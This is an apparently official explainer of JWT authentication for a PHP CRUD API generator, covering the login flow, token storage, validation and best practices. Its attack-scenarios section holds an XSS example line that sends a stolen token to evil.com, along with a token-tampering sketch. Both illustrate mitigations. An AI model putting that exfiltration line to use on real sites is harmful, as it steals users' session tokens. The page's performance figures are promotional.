DownloadJWT Authentication Explained
A clear, step-by-step explanation of how JSON Web Tokens (JWT) work in this API.
? The Big Picture
Traditional Authentication (Basic Auth):
- Every request ? Database query to verify credentials
- 1000 users × 10 requests/min = 10,000 DB queries/min
JWT Authentication:
- Login once ? Get signed token
- Every request ? Verify signature (NO database!)
- 1000 users × 10 requests/min = 0 auth DB queries!
Result: 99.8% fewer database queries ?
? Table of Contents
-
What is JWT?
-
How JWT Works
-
The Complete Flow
-
Where is JWT Stored?
-
Security & Validation
-
Common Questions
What is JWT?
JWT = JSON Web Token
A JWT is a cryptographically signed piece of data that contains:
- User information (username, role)
- Expiration time
- A signature that proves it's authentic
JWT Structure
A JWT has 3 parts separated by dots (.):
eyJ0eXAiOiJKV1QiLCJhbGci... ? Header (algorithm info)
.
eyJpYXQiOjE3MzQ4MzIwMDA... ? Payload (user data, role, expiration)
.
9Xw7rZ8kL5mN3pQ6tY1uV... ? Signature (proof of authenticity)
Decoded Example
When decoded, the payload contains:
{
"iat": 1734832000, // Issued at timestamp
"exp": 1734835600, // Expires at timestamp (1 hour later)
"iss": "api.yourdomain.com", // Issuer
"aud": "yourdomain.com", // Audience
"sub": "john", // Subject (username)
"role": "readonly" // User's role
}
Key Point: The role is inside the token! No database lookup needed.
How JWT Works
The Magic: Cryptographic Signature
The signature is created using:
Signature = HMAC-SHA256(
base64(header) + "." + base64(payload),
secret_key
)
Why this matters:
- If anyone changes even 1 character in the payload...
- The signature won't match anymore
- Server knows the token was tampered with
- Request is rejected
Example: Tampering Attempt
Original token payload: {"sub": "john", "role": "readonly"}
Hacker tries to change to: {"sub": "john", "role": "admin"} ? Changed role!
Result:
- Signature verification fails ?
- Server rejects the request
- Hacker can't access admin features
Only the server with the secret key can create valid tokens!
The Complete Flow
Step 1: User Login
Client Request: POST /api.php?action=login
Content-Type: application/x-www-form-urlencoded
username=john&password=SecurePass123!
Server Processing: // 1. Check credentials against database
SELECT * FROM api_users WHERE username = 'john' AND active = 1
// 2. Verify password hash
password_verify($password, $dbUser['password_hash'])
// 3. Create JWT with user info
$token = createJwt([
'sub' => 'john', // Username
'role' => 'readonly' // From database
]);
// 4. Send token to client
echo json_encode(['token' => $token]);
Server Response: {
"success": true,
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MzQ4MzIwMD...",
"expires_in": 3600,
"user": "john",
"role": "readonly"
}
At this point:
- ? Server sent the token
- ? Server does NOT store the token anywhere
- ? Client receives the token
Step 2: Client Stores Token
Browser (JavaScript): // After successful login
const response = await fetch('/api.php?action=login', {
method: 'POST',
body: new URLSearchParams({ username: 'john', password: 'pass' })
});
const data = await response.json();
// STORE token in browser
localStorage.setItem('jwt_token', data.token);
console.log('Token stored! Can now make API requests.');
Storage Options:
| Location | Persistence | Security | Use Case |
|----------|-------------|----------|----------|
| localStorage | Survives page reload | Medium | Web apps |
| sessionStorage | Cleared on tab close | Medium | Temporary sessions |
| Cookies (httpOnly) | Survives reload | High | Most secure |
| Memory (variable) | Lost on reload | Highest | Maximum security |
Step 3: Making API Requests
EVERY subsequent request includes the token:
Client Request: // Get list of tables
const tables = await fetch('/api.php?action=tables', {
headers: {
'Authorization': 'Bearer ' + localStorage.getItem('jwt_token')
}
});
const data = await tables.json();
console.log(data.tables);
HTTP Request: GET /api.php?action=tables HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
Step 4: Server Validates EVERY Request
This happens on EVERY request:
// 1. Extract token from Authorization header
$authHeader = $headers['Authorization'] ?? '';
preg_match('/Bearer\s(\S+)/', $authHeader, $matches);
$jwt = $matches[1];
// 2. Validate signature (IN MEMORY - NO DATABASE!)
try {
$decoded = JWT::decode($jwt, new Key($jwt_secret, 'HS256'));
// 3. Check expiration (automatic)
// 4. Check issuer/audience (automatic)
// 5. Extract role from token
$role = $decoded->role; // "readonly"
// 6. Check RBAC permissions
if (!hasPermission($role, 'list', 'products')) {
http_response_code(403);
exit('Forbidden');
}
// 7. Execute API operation
$products = getProducts();
echo json_encode(['records' => $products]);
} catch (Exception $e) {
// Token invalid, expired, or tampered
http_response_code(401);
exit('Unauthorized');
}
Performance:
- ? NO database query for authentication
- ? Signature validation takes ~0.5ms (cryptographic operation)
- ? Role extracted from token claims
- ? RBAC checked in memory
Where is JWT Stored?
? NOT Stored on Server
Server does NOT store JWT anywhere:
- ? Not in database
- ? Not in files
- ? Not in sessions
- ? Not in memory (after response sent)
Why? JWT is stateless - that's the whole point!
? Stored on Client
Client is responsible for storing the token:
Option 1: Browser localStorage (Most Common)
// Store after login
localStorage.setItem('jwt_token', token);
// Retrieve for requests
const token = localStorage.getItem('jwt_token');
// Clear on logout
localStorage.removeItem('jwt_token');
Location on disk:
- Windows: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage
- Mac: ~/Library/Application Support/Google/Chrome/Default/Local Storage
- Linux: ~/.config/google-chrome/Default/Local Storage
Option 2: Browser sessionStorage
// Cleared when browser tab closes
sessionStorage.setItem('jwt_token', token);
Option 3: HTTP-Only Cookies (Most Secure)
// Server sets cookie after login
setcookie('jwt_token', $token, [
'expires' => time() + 3600,
'path' => '/',
'httponly' => true, // JavaScript can't access
'secure' => true, // HTTPS only
'samesite' => 'Strict' // CSRF protection
]);
Pros:
- ? JavaScript can't access (XSS protection)
- ? Sent automatically with every request
- ? More secure than localStorage
Cons:
- ?? Requires cookie setup code
- ?? CORS configuration needed
Option 4: Memory Only (Maximum Security)
let token = null; // JavaScript variable
// After login
token = loginResponse.token;
// User must re-login on page refresh
Pros:
- ? Most secure (can't be stolen from storage)
Cons:
- ? Lost on page refresh
- ? User must login frequently
Security & Validation
What Server Validates (Every Request)
-
? Signature Verification
// Ensure token wasn't tampered with
JWT::decode($token, new Key($secret, 'HS256'));
-
? Expiration Check
{
"exp": 1734835600 // If current time > exp, reject
}
-
? Issuer Validation
{
"iss": "api.yourdomain.com" // Must match config
}
-
? Audience Validation
{
"aud": "yourdomain.com" // Must match config
}
Why is This Secure?
1. Signature Prevents Tampering
- Change even 1 bit ? Signature breaks
- Only server with secret can create valid tokens
2. Expiration Limits Damage
- Stolen token only works for 1 hour (default)
- After expiration, user must re-login
3. HTTPS Prevents Interception
- Always use HTTPS in production
- Token encrypted in transit
4. Secret Key Protection
- Only server knows the JWT secret
- Generate with: php scripts/generate_jwt_secret.php
- Use 64+ character random string
Attack Scenarios
? Scenario 1: Token Modification
Attacker tries: // Steal token from localStorage
const token = localStorage.getItem('jwt_token');
// Decode payload
const parts = token.split('.');
const payload = JSON.parse(atob(parts[1]));
// Try to change role
payload.role = 'admin';
// Re-encode
const fakeToken = parts[0] + '.' + btoa(JSON.stringify(payload)) + '.' + parts[2];
Result:
- ? Signature no longer matches
- ? Server rejects request
- ? Attack fails
? Scenario 2: Token Theft (XSS)
If attacker injects malicious JavaScript: // Attacker's script
const stolenToken = localStorage.getItem('jwt_token');
fetch('https://evil.com/steal?token=' + stolenToken);
Mitigation:
- ? Use httpOnly cookies (JavaScript can't access)
- ? Content Security Policy headers
- ? Input sanitization
- ? Short expiration times (1 hour)
? Scenario 3: Man-in-the-Middle
Attacker intercepts network traffic:
Mitigation:
- ? Always use HTTPS in production
- ? Enable HSTS (HTTP Strict Transport Security)
- ? Certificate pinning (mobile apps)
Common Questions
Q1: Why doesn't server store JWT?
A: That's the whole point of JWT - stateless authentication!
Benefits:
- ? No database lookups (faster)
- ? Scales horizontally (load balancers)
- ? No session storage needed
- ? Works across microservices
Traditional sessions: Request ? Check session store ? Query database ? Response
JWT: Request ? Verify signature (in-memory) ? Response
Q2: What if token is stolen?
Short Answer: Limited damage due to expiration.
Mitigation Strategies:
-
Short Expiration (default: 1 hour)
- Stolen token only works for limited time
- User must re-login hourly
-
Token Blacklist (optional)
// Store revoked tokens in database/Redis
if (isTokenBlacklisted($jwt)) {
throw new Exception('Token revoked');
}
-
Refresh Tokens (future enhancement)
- Short-lived access token (15 min)
- Long-lived refresh token (30 days)
- Refresh token can be revoked
-
IP Binding (optional)
{
"sub": "john",
"role": "readonly",
"ip": "192.168.1.100" // Token only valid from this IP
}
Q3: How do I logout?
Client-Side Logout (Simple): // Just delete the token
localStorage.removeItem('jwt_token');
// Redirect to login
window.location = '/login.html';
Server-Side Logout (Secure): // Add to token blacklist
INSERT INTO token_blacklist (token, expires_at) VALUES (?, ?);
// Token will be rejected on next request
Q4: Can I extend token expiration?
Option 1: Issue new token (current system) // When token expires, re-login
if (response.status === 401) {
// Redirect to login
window.location = '/login.html';
}
Option 2: Refresh tokens (future enhancement) // When access token expires, use refresh token
const newToken = await fetch('/api.php?action=refresh', {
body: JSON.stringify({ refresh_token: refreshToken })
});
Q5: Why validate signature every request?
A: Security and statelessness.
Benefits:
- ? Detects tampered tokens immediately
- ? Enforces expiration automatically
- ? No session state to manage
- ? Very fast (~0.5ms)
Cost:
- Negligible (cryptographic operations are fast)
- Much faster than database query (20ms)
Q6: What's in the token? Can users see it?
Yes, users CAN decode the token!
// Anyone can decode JWT (it's just base64)
const parts = token.split('.');
const payload = JSON.parse(atob(parts[1]));
console.log(payload);
// {
// "sub": "john",
// "role": "readonly",
// "exp": 1734835600
// }
?? IMPORTANT:
- ? Never put sensitive data in JWT (passwords, credit cards)
- ? Only put non-sensitive identifiers (username, role, ID)
- ? Signature prevents tampering (they can read, but can't change)
Q7: Performance comparison?
10,000 requests benchmark:
| Auth Method | Database Queries | Total Time |
|-------------|------------------|------------|
| Basic Auth | 10,000 | ~200 seconds |
| JWT | 0 | ~5 seconds |
Result: JWT is 40× faster! ?
Visual Summary
????????????????????????????????????????????????????????????????
? JWT AUTHENTICATION FLOW ?
????????????????????????????????????????????????????????????????
??????????????? ???????????????
? CLIENT ? ? SERVER ?
? (Browser) ? ? (PHP API) ?
??????????????? ???????????????
? ?
? 1. POST /login ?
? username + password ?
????????????????????????????????????????????>?
? ?
? 2. Check password
? (database)
? ?
? 3. Create JWT
? (in memory)
? ?
? 4. {"token": "eyJ0eXAi..."} ?
?<????????????????????????????????????????????
? ?
5. STORE in localStorage (token discarded)
localStorage.setItem('jwt', token) ?
? ?
? ?
? ??????????? SUBSEQUENT REQUESTS ????????? ?
? ?
6. GET /api.php?action=tables ?
Authorization: Bearer eyJ0eXAi... ?
????????????????????????????????????????????>?
? ?
? 7. Validate signature
? (NO DATABASE!)
? ?
? 8. Extract role
? (from token)
? ?
? 9. Check RBAC
? (in memory)
? ?
? 10. Query data
? (database)
? ?
? 11. {"tables": [...]} ?
?<????????????????????????????????????????????
? ?
Best Practices
? DO
-
Use HTTPS in production - Always!
-
Generate strong JWT secrets - 64+ random characters
-
Set appropriate expiration - 1 hour for web, 7 days for mobile
-
Validate on every request - Don't trust clients
-
Store tokens securely - httpOnly cookies when possible
-
Rotate secrets periodically - Every 90 days
-
Monitor auth failures - Use built-in monitoring
? DON'T
-
Don't put sensitive data in JWT - It's readable!
-
Don't use weak secrets - No "secret123"
-
Don't skip HTTPS - Tokens can be intercepted
-
Don't store tokens in URLs - Logged everywhere
-
Don't use very long expiration - Limits stolen token damage
-
Don't share JWT secret - Keep it private
-
Don't disable signature validation - Security risk
Quick Reference
Generate JWT Secret
php scripts/generate_jwt_secret.php
Login (Get Token)
curl -X POST -d "username=john&password=pass" \
http://localhost:8000?action=login
Use Token
curl -H "Authorization: Bearer <token>" \
http://localhost:8000?action=tables
Token Lifespan
-
Default: 1 hour
-
Configure: `config/api.php` ? `jwt_expiration`
-
After expiration: User must re-login
Validate Token
// Happens automatically on every request
$decoded = JWT::decode($token, new Key($secret, 'HS256'));
Further Reading
Conclusion
JWT = Fast, Secure, Scalable Authentication ?
Key Takeaways:
1. Token created once (login)
2. Token stored on client
3. Token sent with every request
4. Server validates signature (fast!)
5. No database lookups for auth
6. Role embedded in token
7. Scales to millions of users
Your API is now enterprise-ready! ?
Version: 1.4.0 Phoenix
Last Updated: October 22, 2025
Author: PHP-CRUD-API-Generator Team
|